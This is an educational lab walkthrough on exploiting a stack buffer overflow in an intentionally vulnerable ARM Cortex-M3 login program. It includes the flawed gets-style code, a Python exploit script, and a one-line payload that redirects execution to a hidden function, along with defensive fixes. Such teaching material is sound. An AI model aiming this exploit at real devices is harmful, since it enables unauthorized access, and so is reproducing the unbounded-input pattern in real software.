Skip to content

Lab 01: Buffer Overflow

Introduction

Buffer overflow vulnerabilities have plagued software since the earliest days of computing. This lab recreates the classic gets() vulnerability that enabled the Morris Worm in 1988 - the first major security incident on the Internet.

Difficulty: Easy
Category: Memory Corruption
Historical Context: Morris Worm (November 2, 1988)

Learning Objectives

By completing this lab, you will:

  1. Understand how stack-based buffer overflows work
  2. Learn ARM Cortex-M3 calling conventions and stack layout
  3. Practice controlling program execution flow
  4. Develop working exploits for embedded systems
  5. Appreciate why input validation is critical

Historical Background

The Morris Worm (1988)

On November 2, 1988, Robert Morris released what would become known as the first Internet worm. Among its propagation methods was exploiting a buffer overflow in the fingerd daemon:

// Original fingerd vulnerability
char line[512];
gets(line);  // No bounds checking!

The worm infected approximately 6,000 computers (10% of the Internet at the time), causing widespread disruption and leading to:

  • Creation of CERT (Computer Emergency Response Team)
  • First conviction under the Computer Fraud and Abuse Act
  • Fundamental changes in how we approach computer security

Vulnerability Overview

The Vulnerable Pattern

void check_password(void)
{
    char buffer[64];              // Fixed-size stack buffer

    embsec_printf("Enter password: ");
    embsec_gets(buffer, 0);       // Size parameter ignored!

    // ... authentication logic ...
}

The embsec_gets() function mimics the dangerous gets() function - it reads input until a newline without checking buffer boundaries.

Why This Is Dangerous

When input exceeds the buffer size:

  1. Adjacent stack memory is overwritten
  2. This includes the function's return address
  3. Attacker controls where the function returns
  4. Arbitrary code execution becomes possible

Lab Setup

Prerequisites

  • EMBSEC development environment
  • Basic understanding of stack memory
  • Python 3 for exploit development

Getting Started

  1. Build and flash the vulnerable binary:

    cd /labs/01-buffer-overflow
    make
    make flash
    

  2. Connect to the target:

    screen /dev/ttyACM0 115200
    

  3. Explore the application:

    ╔═══════════════════════════════════════╗
    ║   SECURE AUTHENTICATION SYSTEM v1.0   ║
    ╠═══════════════════════════════════════╣
    ║   1. Login                            ║
    ║   2. Debug Info                       ║
    ║   3. Reset System                     ║
    ╚═══════════════════════════════════════╝
    

Understanding the Target

Application Flow

  1. Main Menu: Provides three options
  2. Login (Option 1): Calls vulnerable check_password()
  3. Debug Info (Option 2): Reveals critical memory addresses
  4. Reset (Option 3): Restarts the system

The Goal

The application contains a grant_access() function that displays the flag, but it's never called during normal execution. Your goal is to redirect execution to this function.

Vulnerability Analysis

Step 1: Information Gathering

Select option 2 to view debug information:

=== Debug Information ===
Buffer address: 0x20000100
Return address location: 0x20000148
Target function: 0x00000431

This tells us:

  • Local buffer starts at 0x20000100
  • Return address stored at 0x20000148
  • Offset needed: 0x148 - 0x100 = 72 bytes
  • Target function at 0x00000431

Step 2: Understanding ARM Specifics

ARM Cortex-M3 important details:

  • Uses Thumb instruction set exclusively
  • Function addresses must have LSB = 1
  • Stack grows downward
  • Little-endian byte ordering

Step 3: Stack Layout

Higher Addresses
+------------------+
| Return Address   | <- We overwrite this
+------------------+
| Saved Registers  |
+------------------+
| Local Variables  |
+------------------+
| buffer[63]       |
| ...              |
| buffer[0]        | <- Input starts here
+------------------+
Lower Addresses

Exploitation

Building the Exploit

#!/usr/bin/env python3
import struct
import serial
import time

# Configure serial connection
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=1)

def send_command(cmd):
    ser.write(cmd.encode() + b'\n')
    time.sleep(0.1)

# Navigate menu
send_command('1')  # Select login

# Build payload
payload = b'A' * 72  # Fill buffer + padding to return address

# Target address (with Thumb bit set)
target = 0x00000431 | 1  # Set LSB for Thumb mode
payload += struct.pack('<I', target)  # Little-endian packing

# Send exploit
ser.write(payload + b'\n')

# Read response
response = ser.read(1000)
print(response.decode('latin-1'))

Manual Exploitation

If using screen directly:

  1. Select option 1 (Login)
  2. Generate payload:

    python3 -c "import struct; print('A'*72 + struct.pack('<I', 0x431).decode('latin-1'))"
    

  3. Copy and paste the output when prompted for password

Expected Result

Enter password: [overflow payload]
ACCESS GRANTED!
Flag: embsec{buff3r_0v3rfl0w_3xpl01t3d}

Understanding the Exploit

What Happened?

  1. Buffer Overflow: Our 76-byte input overflowed the 64-byte buffer
  2. Stack Corruption: Extra data overwrote stack contents
  3. Return Address Control: Bytes 73-76 replaced the return address
  4. Execution Redirect: Function returned to grant_access() instead
  5. Flag Retrieved: Target function executed, displaying the flag

Why It Works

This system lacks modern protections:

  • No Stack Canaries: No detection of stack corruption
  • No ASLR: Addresses are predictable
  • No DEP/NX: Stack may be executable
  • Fixed Addresses: Embedded systems often have static memory layouts

Defensive Measures

Immediate Fixes

  1. Use Bounded Input Functions:

    // Vulnerable
    embsec_gets(buffer, 0);
    
    // Secure
    embsec_gets_n(buffer, sizeof(buffer));
    

  2. Input Validation:

    if (strlen(input) >= sizeof(buffer)) {
        embsec_printf("Input too long!\n");
        return;
    }
    

Compiler Protections

Enable stack protection:

CFLAGS += -fstack-protector-all
CFLAGS += -D_FORTIFY_SOURCE=2

Architecture Features

For systems with MPU (Memory Protection Unit):

  • Mark stack as non-executable
  • Set up guard regions
  • Implement privilege separation

Advanced Challenges

Challenge 1: Blind Exploitation

Can you exploit without using debug info? Try:

  • Fuzzing to find the offset
  • Binary analysis to locate addresses
  • Information leaks to discover layout

Challenge 2: Limited Input

What if input was restricted to 80 bytes? Consider:

  • Finding closer targets
  • Using gadgets in existing code
  • Chaining multiple vulnerabilities

Challenge 3: ASLR Bypass

If addresses were randomized:

  • Find information disclosure bugs
  • Use partial overwrites
  • Brute force on 32-bit systems

Common Pitfalls

1. Forgetting Thumb Mode

Problem: Crash when jumping to even addresses
Solution: Always set LSB to 1 for function pointers

2. Wrong Endianness

Problem: Address bytes in wrong order
Solution: Use struct.pack('<I', addr) for little-endian

3. Incorrect Offset

Problem: Not reaching return address
Solution: Use pattern generation tools or debug carefully

4. Serial Issues

Problem: Bytes corrupted during transmission
Solution: Check for special characters, use proper encoding

Real-World Impact

Buffer overflows remain relevant:

  • 2021: Sudo heap overflow (CVE-2021-3156)
  • 2020: Windows SMBv3 overflow (CVE-2020-0796)
  • 2019: WhatsApp RCE via buffer overflow
  • Embedded: IoT devices frequently vulnerable

Key Takeaways

  1. Never Trust Input: Always validate length and content
  2. Defense in Depth: Use multiple protection mechanisms
  3. Legacy Code: Old vulnerabilities persist in embedded systems
  4. Security Mindset: Think like an attacker when coding
  5. Continuous Learning: New variants constantly discovered

Further Reading

Technical References

Historical Context

Modern Techniques

  • Return-Oriented Programming (ROP)
  • Jump-Oriented Programming (JOP)
  • Heap exploitation methods
  • Kernel exploitation

Next Steps

Congratulations on completing the Buffer Overflow lab! You've learned:

  • How buffer overflows work at a low level
  • ARM-specific exploitation requirements
  • Why input validation is critical
  • How to develop working exploits

Continue to Lab 02: Format String to explore a different class of memory corruption vulnerabilities.


Remember: Use these skills responsibly and only on systems you own or have permission to test.